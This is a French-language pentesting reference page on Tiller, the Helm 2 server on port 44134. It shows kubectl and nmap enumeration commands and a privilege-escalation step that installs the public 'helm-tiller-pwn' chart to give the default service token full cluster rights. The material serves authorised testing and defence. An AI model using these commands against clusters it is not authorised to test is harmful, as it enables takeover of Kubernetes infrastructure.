44134 - Pentesting Tiller (Helm)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Helm est le gestionnaire de packages pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des référentiels publics et privés. Ces packages sont appelés Helm Charts. Tiller est le service exécuté par défaut sur le port 44134 offrant le service.

Port par défaut : 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Énumération

Si vous pouvez énumérer les pods et/ou services de différents espaces de noms, énumérez-les et recherchez ceux avec "tiller" dans leur nom:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Exemples :

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Vous pourriez également essayer de trouver ce service en vérifiant le port 44134 :

sudo nmap -sS -p 44134 <IP>

Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application client helm. Vous pouvez utiliser des outils comme homebrew, ou consulter la page des versions officielles. Pour plus de détails, ou pour d'autres options, consultez le guide d'installation.

Ensuite, vous pouvez énumérer le service:

helm --host tiller-deploy.kube-system:44134 version

Élévation de privilèges

Par défaut, Helm2 était installé dans l'espace de noms kube-system avec des privilèges élevés, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'élever les privilèges.

Tout ce que vous avez à faire est d'installer un package comme celui-ci : https://github.com/Ruil1n/helm-tiller-pwn qui donnera accès au jeton de service par défaut à tout dans l'ensemble du cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Dans http://rui0.cn/archives/1573, vous avez l'explication de l'attaque, mais en gros, si vous lisez les fichiers clusterrole.yaml et clusterrolebinding.yaml à l'intérieur de helm-tiller-pwn/pwnchart/templates/ vous pouvez voir comment tous les privilèges sont accordés au jeton par défaut.

Dernière mise à jour